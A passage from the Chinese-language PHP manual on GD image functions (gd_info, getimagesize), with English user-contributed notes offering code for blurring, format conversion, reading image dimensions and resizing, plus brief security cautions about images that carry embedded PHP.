            $cg = ($rgb >> 8) & 0xFF;
            $cb = ($rgb) & 0xFF;

            $nr = ($cr * $f1a) + ($or * $f1b);
            $ng = ($cg * $f1a) + ($og * $f1b);
            $nb = ($cb * $f1a) + ($ob * $f1b);

            $or = $nr;
            $og = $ng;
            $ob = $nb;

            imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
        }
        //-------------------------------------------------

        //-------------------------------------------------
        // now process the entire picture
        //-------------------------------------------------
        $y = $srch-1;
        while ($y--)
        {

            $rgb = imagecolorat($srcimg,0,$y);
            $or = ($rgb >> 16) & 0xFF;
            $og = ($rgb >> 8) & 0xFF;
            $ob = ($rgb) & 0xFF;

            $x = $srcw;
            while ($x--)
            {
                //horizontal
                $rgb = imagecolorat($srcimg,$x,$y);
                $cr = ($rgb >> 16) & 0xFF;
                $cg = ($rgb >> 8) & 0xFF;
                $cb = ($rgb) & 0xFF;

                $nr = ($cr * $f1a) + ($or * $f1b);
                $ng = ($cg * $f1a) + ($og * $f1b);
                $nb = ($cb * $f1a) + ($ob * $f1b);

                $or = $nr;
                $og = $ng;
                $ob = $nb;

                //vertical
                $rgb = imagecolorat($dstimg,$x,$y+1);
                $vr = ($rgb >> 16) & 0xFF;
                $vg = ($rgb >> 8) & 0xFF;
                $vb = ($rgb) & 0xFF;

                $nr = ($nr * $f1a) + ($vr * $f1b);
                $ng = ($ng * $f1a) + ($vg * $f1b);
                $nb = ($nb * $f1a) + ($vb * $f1b);

                $vr = $nr;
                $vg = $ng;
                $vb = $nb;

                imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
            }

        }
        //-------------------------------------------------
        return $dstimg;

    }

    $srcimg = imagecreatefromjpeg("test.jpg");
    $dstimg = blurImage($srcimg,0.2);

    header('Content-type: image/jpeg');
    echo( imagejpeg($dstimg) );
    exit();

?>
chuckstudios at gmail dot com 25-Nov-2008 09:18
I wrote a simple function to convert an image resource to PGM (portable graymap) in order to feed it to an OCR program. It works just like the rest of the image output functions, and will convert to grayscale for you:

<?php
    function imagepgm($image, $filename = null)
    {
        $pgm = "P5 ".imagesx($image)." ".imagesy($image)." 255\n";
        for($y = 0; $y < imagesy($image); $y++)
        {
            for($x = 0; $x < imagesx($image); $x++)
            {
                $colors = imagecolorsforindex($image, imagecolorat($image, $x, $y));
                $pgm .= chr(0.3 * $colors["red"] + 0.59 * $colors["green"] + 0.11 * $colors["blue"]);
            }
        }
        if($filename != null)
        {
            $fp = fopen($filename, "w");
            fwrite($fp, $pgm);
            fclose($fp);
        }
        else
        {
            return $pgm;
        }
    }
?>
ph_corp at yahoo dot fr 23-Dec-2007 03:19
<?php

/**
HSL/RGB conversion functions
very useful for a lot of applications
**/

function RBGtoHSL ( $R, $G, $B )
{

    $var_R = ( $R / 255 );
    $var_G = ( $G / 255 );
    $var_B = ( $B / 255 );

    $var_Min = min( $var_R, $var_G, $var_B )
    $var_Max = max( $var_R, $var_G, $var_B )
    $del_Max = $var_Max - $var_Min

    $L = ( $var_Max + $var_Min ) / 2;

    if ( $del_Max == 0 )
    {
       $H = 0
       $S = 0
    }
    else
    {
        if ( $L < 0.5 )
        {
            $S = $del_Max / ( $var_Max + $var_Min );
        }
        else
        {
            $S = $del_Max / ( 2 - $var_Max - $var_Min );
        }

        $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;

        if ( $var_R == $var_Max )
        {
            $H = $del_B - $del_G;
        }
        else if ( $var_G == $var_Max )
        {
            $H = ( 1 / 3 ) + $del_R - $del_B;
        }
        else if ( $var_B == $var_Max )
        {
            $H = ( 2 / 3 ) + $del_G - $del_R;
        }

        if ( $H < 0 )
        {
            $H += 1;
        }
        if ( $H > 1 )
        {
            $H -= 1
        }

    }

    return array( $H, $S, $L );

}

function HuetoRGB( $v1, $v2, $vH )
{
    if ( $vH < 0 )
    {
        $vH += 1;
    }
    if ( $vH > 1 )
    {
        $vH -= 1;
    }
    if ( ( 6 * $vH ) < 1 )
    {
        return ( $v1 + ( $v2 - $v1 ) * 6 * $vH );
    }
    if ( ( 2 * $vH ) < 1 )
    {
        return ( $v2 );
    }
    if ( ( 3 * $vH ) < 2 )
    {
        return ( $v1 + ( $v2 - $v1 ) * ( ( 2 / 3 ) - $vH ) * 6 );
    }
    return ( $v1 )
}

function HSLtoRGB ( $H, $S, $L )
{

    if ( $S == 0 )
    {
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
    }
    else
    {
        if ( $L < 0.5 )
        {
            $var_2 = $L * ( 1 + $S );
        }
        else
        {
            $var_2 = ( $L + $S ) - ( $S * $L );
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * HuetoRGB( $var_1, $var_2, $H + ( 1 / 3 ) );
        $G = 255 * HuetoRGB( $var_1, $var_2, $H );
        $B = 255 * HuetoRGB( $var_1, $var_2, $H - ( 1 / 3 ) );
    }

    return array( $R, $G, $B );

}

function distance ( $R1, $G1, $B1, $R2, $G2, $B2 )
{
    $result = sqrt ( ( $R1 - $R2 )*( $R1 - $R2 ) + ( $G1 - $G2 )*( $G1 - $G2 ) + ( $B1 - $B2 )*( $B1 - $B2 ) );
    return ( $result );
}

?>
shd at earthling dot net 28-Mar-2006 04:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
    if (!$im) return false;

    if ($fn === false) $fn = 'php://output';
    $f = fopen ($fn, "w");
    if (!$f) return false;

    //Image dimensions
    $biWidth = imagesx ($im);
    $biHeight = imagesy ($im);
    $biBPLine = $biWidth * 3;
    $biStride = ($biBPLine + 3) & ~3;
    $biSizeImage = $biStride * $biHeight;
    $bfOffBits = 54;
    $bfSize = $bfOffBits + $biSizeImage;

    //BITMAPFILEHEADER
    fwrite ($f, 'BM', 2);
    fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

    //BITMAPINFO (BITMAPINFOHEADER)
    fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

    $numpad = $biStride - $biBPLine;
    for ($y = $biHeight - 1; $y >= 0; --$y)
    {
        for ($x = 0; $x < $biWidth; ++$x)
        {
            $col = imagecolorat ($im, $x, $y);
            fwrite ($f, pack ('V', $col), 3);
        }
        for ($i = 0; $i < $numpad; ++$i)
            fwrite ($f, pack ('C', 0));
    }
    fclose ($f);
    return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com 12-Mar-2006 09:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

    // Representation hexadecimal
    $var = '#FFFFFF';

    function getRgbFromGd($color_hex) {

        return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

    }

    print_r(getRgbFromGd($var));

    // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
michal-ok at o2 dot pl 18-Oct-2005 02:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
jeff at lushmedia dot com 04-Nov-2003 08:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/


取得当前安装的 GD 库的信息

  • ? GD 和图像处理 函数
  • getimagesize ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得当前安装的 GD 库的信息

gd_info

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

gd_info — 取得当前安装的 GD 库的信息

说明

gd_info(): array

获取当前安装的 GD 库的版本和功能的信息。

参数

此函数没有参数。

返回值

返回一个关联数组。

gd_info() 返回的数组元素
属性 | 含义
GD Version | 描述安装的 libgd 的版本的 string 值。
FreeType Support | bool 值。如果安装了 FreeType 支持则为 true。
FreeType Linkage | 描述 FreeType 链接方式的 string 值。 可能值为：'with freetype'、'with TTF library' 和 'with unknown library'。 仅当 FreeType Support 为 true 时才会有该属性。
GIF Read Support | bool 值。 如果支持 读取 GIF 图像， 则为 true。
GIF Create Support | bool 值。 如果支持 创建 GIF 图像， 则为 true。
JPEG Support | bool 值。 如果支持 JPEG 则为 true。
PNG Support | bool 值。 如果支持 PNG 则为 true。
WBMP Support | bool 值。 如果支持 WBMP 则为 true。
XBM Support | bool 值。 如果支持 XBM 则为 true。
WebP Support | bool 值。 如果支持 WebP 则为 true。
AVIF Support | bool 值。 如果支持 AVIF 则为 true。 从 PHP 8.1.0 开始可用。

示例

Example #1 使用 gd_info()

<?php
var_dump(gd_info());
?>

以上示例的输出类似于：

array(10) {
  ["GD Version"]=>
  string(24) "bundled (2.1.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPEG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
  ["WebP Support"]=>
  bool(false)
  ["AVIF Support"]=>
  bool(false)
}

参见

  • imagepng() - 将 PNG 图像输出到浏览器或文件
  • imagejpeg() - 输出图象到浏览器或文件。
  • imagegif() - 输出图象到浏览器或文件。
  • imagewbmp() - 输出图象到浏览器或文件。
  • imagewebp() - 将 WebP 格式的图像输出到浏览器或文件
  • imageavif() - 输出图象到浏览器或文件。
  • imagetypes() - 返回 PHP 内置支持的图像类型

User Contributed Notes

There are no user contributed notes for this page.


取得图像大小

  • ? gd_info
  • getimagesizefromstring ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得图像大小

getimagesize

(PHP 4, PHP 5, PHP 7, PHP 8)

getimagesize — 取得图像大小

说明

getimagesize(string $filename, array &$image_info = null): array|false

getimagesize() 函数将确定任何支持的指定图像文件的大小，并返回尺寸以及文件类型和 height/width 文本字符串，以在标准 HTML IMG 标签和对应的 HTTP 内容类型中使用。

getimagesize() 还可以在 image_info 参数中返回更多信息。

Caution

此函数要求 filename 是有效的图像文件。如果提供的是非图像，可能会错误的识别为图像且函数会成功返回，但数组可能包含无意义的值。

不要使用 getimagesize() 识别指定的文件是否是有效的图像。请使用专业解决方案，比如 Fileinfo 扩展。

Note: 注意 JPC 和 JP2 是具有不同位深度的组件。此外，JP2 文件可能包含有多个 JPEG 2000 代码流，此情况下，getimagesize() 返回此文件顶层中碰到的第一个代码流的值。

Note: 从具有最高比特率的 icon 中检索有关 icon 的信息。

Note: GIF 图像由一个或多个帧组成，其中每个帧可能只占据图像的一部分。getimagesize() 报告的图像大小是整体大小（从逻辑屏幕描述符中读取）。

参数

filename

此参数指定希望检索其信息的文件。可以指向本地文件或（配置允许）使用某个支持的流的远程文件。

image_info

可选参数允许从图像文件中提取一些扩展信息。目前会将不同的 JPG APP 标记作为关联数组返回。一些程序使用这些 APP 标记在图像中嵌入文本信息。 A very common one is to embed » IPTC information in the APP13 marker. You can use the iptcparse() function to parse the binary APP13 marker into something readable.

Note:

image_info 仅支持 JFIF 文件。

返回值

返回信息最多包含 7 个元素。并非所有图像类型都包含 channels 和 bits 元素。

索引 0 和 1 分别包含图像的宽度和高度。

Note:

一些格式可能没有图像或者包含多个图像。在这种情况下，getimagesize() 可能无法正确确定图像大小。getimagesize() 此时会返回的宽高为 0。

索引 2 是表示图像类型的某个 IMAGETYPE_XXX 常量。

Index 3 is a text string with the correct height="yyy" width="xxx" string that can be used directly in an IMG tag.

mime 是图像对应的 MIME 类型。此信息可用于传递具有正确 HTTP Content-type 报头的图像：

Example #1 getimagesize() 和 MIME 类型

<?php
$size = getimagesize($filename);
$fp = fopen($filename, "rb");
if ($size && $fp) {
header("Content-type: {$size['mime']}");
fpassthru($fp);
exit;
} else {
// error
}
?>

channels 对 RGB 图片为 3，对 CMYK 图像为 4。

bits 是每种颜色的位数。

对应一些图像类型，channels 和 bits 值的存在可能会让人困惑。 As an example, GIF always uses 3 channels per pixel, but the number of bits per pixel cannot be calculated for an animated GIF with a global color table.

失败时返回 false。

错误／异常

如果无法访问 filename 图像，getimagesize() 将生成 E_WARNING 级别的错误。读取错误时，getimagesize() 将生成 E_NOTICE 级别的错误。

更新日志

版本 | 说明
8.2.0 | 现在将正确返回 AVIF 图像的实际尺寸、bits 和 channels；以前，尺寸报告为 0x0，并且不会报告 bits 和 channels。
7.1.0 | 新增 WebP 支持。

示例

Example #2 getimagesize() 示例

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr alt=\"getimagesize() example\" />";
?>

Example #3 getimagesize (URL)

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// if the file name has space in it, encode it properly
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

Example #4 getimagesize() 返回 IPTC

<?php
$size = getimagesize("testimg.jpg", $info);
if (isset($info["APP13"])) {
$iptc = iptcparse($info["APP13"]);
var_dump($iptc);
}
?>

注释

Note:

此函数不需要 GD 图象库。

参见

  • image_type_to_mime_type() - 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型
  • exif_imagetype() - 判断一个图像的类型
  • exif_read_data() - 从一个图片文件中读取 EXIF 头信息
  • exif_thumbnail() - 检索图像的嵌入式缩略图
  • imagesx() - 取得图像宽度
  • imagesy() - 取得图像高度

User Contributed Notes

nikolam3244 at gmail dot com 12-Dec-2017 07:24
There's a code snippet for getting JPEG image dimensions by getting only first few bytes of the file, but it doesn't work for PNG files, so I wrote one. It will download only the first 24 bytes instead of the whole image, and thus being much faster than getimagesize() and it will save bandwidth at the same time:

<?php
// Retrieve PNG width and height without downloading/reading entire image.
function getpngsize( $img_loc ) {
    $handle = fopen( $img_loc, "rb" ) or die( "Invalid file stream." );

    if ( ! feof( $handle ) ) {
        $new_block = fread( $handle, 24 );
        if ( $new_block[0] == "\x89" &&
            $new_block[1] == "\x50" &&
            $new_block[2] == "\x4E" &&
            $new_block[3] == "\x47" &&
            $new_block[4] == "\x0D" &&
            $new_block[5] == "\x0A" &&
            $new_block[6] == "\x1A" &&
            $new_block[7] == "\x0A" ) {
                if ( $new_block[12] . $new_block[13] . $new_block[14] . $new_block[15] === "\x49\x48\x44\x52" ) {
                    $width  = unpack( 'H*', $new_block[16] . $new_block[17] . $new_block[18] . $new_block[19] );
                    $width  = hexdec( $width[1] );
                    $height = unpack( 'H*', $new_block[20] . $new_block[21] . $new_block[22] . $new_block[23] );
                    $height  = hexdec( $height[1] );

                    return array( $width, $height );
                }
            }
        }

    return false;
}
?>
freecorvette at gmail dot com 03-Oct-2017 08:03
For some images, using getimagesize() without the second parameter will return the correct info, but when you add the second parameter it will return false. This is most likely a bug (and it has been reported as such), but meanwhile, if you encounter this problem, a workaround is to use exif_read_data().
simon dot waters at surevine dot com 30-Mar-2015 09:01
Note: getimage size doesn't attempt to validate image file formats

It is possible for malformed GIF images to contain PHP and still have valid dimensions.

Programmers need to ensure such images are validated by other tools, or never treated as PHP or other executable types (enforcing appropriate extensions, avoiding user controlled renaming, restricting uploaded images to areas of the website where PHP is not enabled).

http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
kazuya 11-Mar-2014 02:19
i made function img_resize($path,$tmp_name,$new_name,$new_width)
this could be useful.

<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
tomasz at trejderowski dot pl 06-Sep-2013 09:47
If you want to "convert" value returned by "getimagesize()" as index "2" into something more human-readable, you may consider using a function like this one:

    $imageTypeArray = array
    (
        0=>'UNKNOWN',
        1=>'GIF',
        2=>'JPEG',
        3=>'PNG',
        4=>'SWF',
        5=>'PSD',
        6=>'BMP',
        7=>'TIFF_II',
        8=>'TIFF_MM',
        9=>'JPC',
        10=>'JP2',
        11=>'JPX',
        12=>'JB2',
        13=>'SWC',
        14=>'IFF',
        15=>'WBMP',
        16=>'XBM',
        17=>'ICO',
        18=>'COUNT'
    );

    $size = getimagesize($filename);

    $size[2] = $imageTypeArray[$size[2]];

Or something similar.
alexyam at live dot com 15-Feb-2012 11:30
I wanted to use getimagesize() on .SWF files stored in the database as blob data and couldn't find a simple solution, so I created my own.

I am releasing this code under the MIT license to save everyone some time:

<?php
/*
    ----------------------------------------------------------------------
    PHP Blob Data As File Stream v1.0 (C) 2012 Alex Yam <alexyam@live.com>
    This code is released under the MIT License.
    ----------------------------------------------------------------------
    [Summary]

    A simple class for PHP functions to read and write blob data as a file
    using a stream wrapper.

    Particularly useful for running getimagesize() to get the width and
    height of .SWF Flash files that are stored in the database as blob data.

    Tested on PHP 5.3.10.

    ----------------------------------------------------------------------
    [Usage Example]

    //Include
        include('./blob_data_as_file_stream.php');

    //Register the stream wrapper
        stream_wrapper_register("BlobDataAsFileStream", "blob_data_as_file_stream");

    //Fetch a .SWF file from the Adobe website and store it into a variable.
    //Replace this with your own fetch-swf-blob-data-from-database code.
        $swf_url = 'http://www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf';
        $swf_blob_data = file_get_contents($swf_url);

    //Store $swf_blob_data to the data stream
        blob_data_as_file_stream::$blob_data_stream = $swf_blob_data;

    //Run getimagesize() on the data stream
        $swf_info = getimagesize('BlobDataAsFileStream://');
        var_dump($swf_info);

    ----------------------------------------------------------------------
    [Usage Output]

    array(5) {
      [0]=>
      int(159)
      [1]=>
      int(91)
      [2]=>
      int(13)
      [3]=>
      string(23) "width="159" height="91""
      ["mime"]=>
      string(29) "application/x-shockwave-flash"
    }

*/

class blob_data_as_file_stream {

    private static $blob_data_position = 0;
    public static $blob_data_stream = '';

    public static function stream_open($path,$mode,$options,&$opened_path){
        static::$blob_data_position = 0;
        return true;
    }

    public static function stream_seek($seek_offset,$seek_whence){
        $blob_data_length = strlen(static::$blob_data_stream);
        switch ($seek_whence) {
            case SEEK_SET:
                $new_blob_data_position = $seek_offset;
                break;
            case SEEK_CUR:
                $new_blob_data_position = static::$blob_data_position+$seek_offset;
                break;
            case SEEK_END:
                $new_blob_data_position = $blob_data_length+$seek_offset;
                break;
            default:
                return false;
        }
        if (($new_blob_data_position >= 0) AND ($new_blob_data_position <= $blob_data_length)){
            static::$blob_data_position = $new_blob_data_position;
            return true;
        }else{
            return false;
        }
    }

    public static function stream_tell(){
        return static::$blob_data_position;
    }

    public static function stream_read($read_buffer_size){
        $read_data = substr(static::$blob_data_stream,static::$blob_data_position,$read_buffer_size);
        static::$blob_data_position += strlen($read_data);
        return $read_data;
    }

    public static function stream_write($write_data){
        $write_data_length=strlen($write_data);
        static::$blob_data_stream = substr(static::$blob_data_stream,0,static::$blob_data_position).
            $write_data.substr(static::$blob_data_stream,static::$blob_data_position+=$write_data_length);
        return $write_data_length;
    }

    public static function stream_eof(){
        return static::$blob_data_position >= strlen(static::$blob_data_stream);
    }

}
?>
utilmind 23-Jul-2011 03:17
Here is the function which determines whether the PNG image contains alpha or not:

<?php
function is_alpha_png($fn){
  return (ord(@file_get_contents($fn, NULL, NULL, 25, 1)) == 6);
}
?>

The color type of PNG image is stored at byte offset 25. Possible values of that 25'th byte is:
 * 0 - greyscale
 * 2 - RGB
 * 3 - RGB with palette
 * 4 - greyscale + alpha
 * 6 - RGB + alpha
Steve 17-Apr-2011 03:12
The list of defined IMAGETYPE_ constants is on the manual page for exif_imagetype:

http://www.php.net/manual/en/function.exif-imagetype.php
Jesus Zamora 13-Feb-2011 06:20
Returns a array with 4 elements.
The 0 index is the width of the image in pixels.
The 1 index is the height of the image in pixels.
The 2 index is a flag for the image type:

1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(orden de bytes intel), 8 = TIFF(orden de bytes motorola), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF, 15 = WBMP, 16 = XBM.

The 3 index contains ' height="yyy" width="xxx" '
geoff at spacevs dot com 20-Oct-2009 11:22
This function returns the width and height of a JPEG image from a string, allowing the dimensions of images stored in a database to be retrieved without writing them to the disk first, or using "imagecreatefromstring" which is very slow in comparison.

<?PHP
function getJPEGImageXY($data) {
        $soi = unpack('nmagic/nmarker', $data);
        if ($soi['magic'] != 0xFFD8) return false;
        $marker = $soi['marker'];
        $data   = substr($data, 4);
        $done   = false;

        while(1) {
                if (strlen($data) === 0) return false;
                switch($marker) {
                        case 0xFFC0:
                                $info = unpack('nlength/Cprecision/nY/nX', $data);
                                return array($info['X'], $info['Y']);
                                break;

                        default:
                                $info   = unpack('nlength', $data);
                                $data   = substr($data, $info['length']);
                                $info   = unpack('nmarker', $data);
                                $marker = $info['marker'];
                                $data   = substr($data, 2);
                                break;
                }
        }
}
?>

Doing this 10,000 times takes 0.43 seconds, compared with using imagecreatefromstring/imagesx/imagesy which takes around 1.52 seconds to do the same.

Do not use this instead of getimagesize when dealing with files, getimagesize is much faster coming in at 0.15 seconds.
james dot relyea at zifiniti dot com 07-Feb-2009 08:49
As noted below, getimagesize will download the entire image before it checks for the requested information. This is extremely slow on large images that are accessed remotely. Since the width/height is in the first few bytes of the file, there is no need to download the entire file. I wrote a function to get the size of a JPEG by streaming bytes until the proper data is found to report the width and height:

<?php
// Retrieve JPEG width and height without downloading/reading entire image.
function getjpegsize($img_loc) {
    $handle = fopen($img_loc, "rb") or die("Invalid file stream.");
    $new_block = NULL;
    if(!feof($handle)) {
        $new_block = fread($handle, 32);
        $i = 0;
        if($new_block[$i]=="\xFF" && $new_block[$i+1]=="\xD8" && $new_block[$i+2]=="\xFF" && $new_block[$i+3]=="\xE0") {
            $i += 4;
            if($new_block[$i+2]=="\x4A" && $new_block[$i+3]=="\x46" && $new_block[$i+4]=="\x49" && $new_block[$i+5]=="\x46" && $new_block[$i+6]=="\x00") {
                // Read block size and skip ahead to begin cycling through blocks in search of SOF marker
                $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                $block_size = hexdec($block_size[1]);
                while(!feof($handle)) {
                    $i += $block_size;
                    $new_block .= fread($handle, $block_size);
                    if($new_block[$i]=="\xFF") {
                        // New block detected, check for SOF marker
                        $sof_marker = array("\xC0", "\xC1", "\xC2", "\xC3", "\xC5", "\xC6", "\xC7", "\xC8", "\xC9", "\xCA", "\xCB", "\xCD", "\xCE", "\xCF");
                        if(in_array($new_block[$i+1], $sof_marker)) {
                            // SOF marker detected. Width and height information is contained in bytes 4-7 after this byte.
                            $size_data = $new_block[$i+2] . $new_block[$i+3] . $new_block[$i+4] . $new_block[$i+5] . $new_block[$i+6] . $new_block[$i+7] . $new_block[$i+8];
                            $unpacked = unpack("H*", $size_data);
                            $unpacked = $unpacked[1];
                            $height = hexdec($unpacked[6] . $unpacked[7] . $unpacked[8] . $unpacked[9]);
                            $width = hexdec($unpacked[10] . $unpacked[11] . $unpacked[12] . $unpacked[13]);
                            return array($width, $height);
                        } else {
                            // Skip block marker and read block size
                            $i += 2;
                            $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                            $block_size = hexdec($block_size[1]);
                        }
                    } else {
                        return FALSE;
                    }
                }
            }
        }
    }
    return FALSE;
}
?>
anonymous 23-Nov-2008 08:30
Note that if you specify a remote file (via a URL) to check the size of, PHP will first download the remote file to your server.

If you're using this function to check the size of user provided image links, this could constitute a security risk.  A malicious user could potentially link to a very large image file and cause PHP to download it.  I do not know what, if any, file size limits are in place for the download.  But suppose the user provided a link to an image that was several gigabytes in size?

It would be nice if there were a way to limit the size of the download performed by this function.  Hopefully there is already a default with some sensible limits.
user at example dot net 23-Jul-2008 09:13
When validating images, allways check both, image type *AND* file extension!

Because most image types allow sections for comments or other irrelevant data. Those section can be used to infiltrate php code onto the server. If these files are stored as sent by the client, files with a ".php" extension can be executed and do tremendous harm.
info at alex-lawrence dot com 02-Apr-2008 05:17
Could be useful (didn′t know where to post it):

function getImageErrors( $filename, $type = "", $minWidth = 0, $minHeight = 0, $maxWidth = 0, $maxHeight = 0, $maxFileSize = 0 )
{
    $errors = array();
    if ( file_exists( $filename ) )
    {
        $ending = substr( $filename, strpos( $filename, "." ) );
        if ( is_array( $type ) )
        {
            $isTypeOf = false;
            foreach( $type as $eachtype )
            {
                if ( $ending == $eachtype )
                {
                    $isTypeOf = true;
                }
            }
            if ( ! $isTypeOf )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        elseif ( $type != "" )
        {
            if ( $ending != $type )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        $size = getimagesize( $filename );
        if ( $size[ 0 ] < $minWidth )
        {
            $errors[ 'minWidth' ] = $size[ 0 ];
        }
        if ( $size[ 1 ] < $minHeight )
        {
            $errors[ 'minHeight' ] = $size[ 1 ];
        }
        if ( ( $maxWidth > $minWidth ) && ( $size[ 0 ] > $maxWidth ) )
        {
            $errors[ 'maxWidth' ] = $size[ 0 ];
        }
        if ( ( $maxHeight > $minHeight ) && ( $size[ 1 ] > $maxHeight ) )
        {
            $errors[ 'maxHeight' ] = $size[ 1 ];
        }
        if ( ( $maxFileSize > 0 ) && ( filesize( $filename ) > $maxFileSize ) )
        {
            $errors[ 'maxFileSize' ] = filesize( $filename );
        }
    }
    else
    {
        $errors[ 'filename' ] = "not existing";
    }
    return ( count( $errors ) > 0 ? $errors : null );
}
cloned at clonedmadman dot com 25-Feb-2008 02:01
Well, I am making a script which will resize the image when uploaded, however, i am making a multi-uploader, so i came across with a problem: an efficient way of getting a pictures height and width and storing them in an array to resize later. This is what i came up with:

<?php
$links = array("test1.jpg", "test2.png");
$sizearray = array();
$count = count($links);
for($i = 0; $i < $count; $i++) {
    $size = getimagesize($links[$i]);
    list($width, $height) = $size;
    $sizearray[$links[$i]] = array("width" => $width, "height" => $height);
}
print_r($sizearray);
// which will print out: Array ( [test1.jpg] => Array ( [width] => 300 [height] => 400 ) [test2.png] => Array ( [width] => 680 [height] => 100 ) )
?>
shmohel at gmail dot com 12-Feb-2008 06:27
Rather than making a lengthy function that essentially runs twice (once as width, once as height) I came up with a helpful function that uses variable variables to set a maximum height/width. Hope someone finds this helpful.

function scaleimage($location, $maxw=NULL, $maxh=NULL){
    $img = @getimagesize($location);
    if($img){
        $w = $img[0];
        $h = $img[1];

        $dim = array('w','h');
        foreach($dim AS $val){
            $max = "max{$val}";
            if(${$val} > ${$max} && ${$max}){
                $alt = ($val == 'w') ? 'h' : 'w';
                $ratio = ${$alt} / ${$val};
                ${$val} = ${$max};
                ${$alt} = ${$val} * $ratio;
            }
        }

        return("<img src='{$location}' alt='image' width='{$w}' height='{$h}' />");
    }
}
pfarthing at hotmail dot com 10-Jan-2008 03:35
Correction: to find $y2 it should be...

// set y side to a proportional size
$y2 = $m * $x_max; // not $x1

Thanks Norbert =)
info at personalmis dot com 07-Jan-2008 04:42
Seems the various ways people are trying to proportionaly scale an image, up or down, could be more straight forward if one remembers ones algebra.

The formula is, y = mx, where m is the slope of the line. This is the ratio of y:x or m = y/x.

So if...

// max values for x and y
$y_max = 600;
$x_max = 800;

// image size
$y1 = 2000;
$x1 = 3000;

// use width for scaling
if ($x1 > $x_max)
{
    // find slope
    $m = $y1/$x1;
    // set x side to max
    $x2 = $x_max;
    // set y side to a proportional size
    $y2 = $m * $x1;
}

The new image proportionally scaled will be x2 = 800, y2 = 533 (rounded).

To do it from the y side, simply reverse the x's and y's.
redcore at gmail dot com 09-Aug-2007 02:50
It's always good to check out an image's dimensions while attempting to upload to your server or database...especially if it's going to be displayed on a page that doesn't accomodate images beyond a particular size.

<?php

$tmpName = $_FILES['userfile']['tmp_name'];

list($width, $height, $type, $attr) = getimagesize($tmpName);

if($width>275 || $height>275)
{
die("exceeded image dimension limits.");
}

?>
ajreading at classixshop dot com 21-Apr-2005 01:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
    Header("Content-type: image/jpeg");

    $size = GetImageSize($upfile); // Read the size
          $width = $size[0];
          $height = $size[1];

          // Proportionally resize the image to the
          // max sizes specified above

          $x_ratio = $max_width / $width;
          $y_ratio = $max_height / $height;

          if( ($width <= $max_width) && ($height <= $max_height) )
          {
               $tn_width = $width;
               $tn_height = $height;
          }
          elseif (($x_ratio * $height) < $max_height)
          {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
          }
          else
          {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
          }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
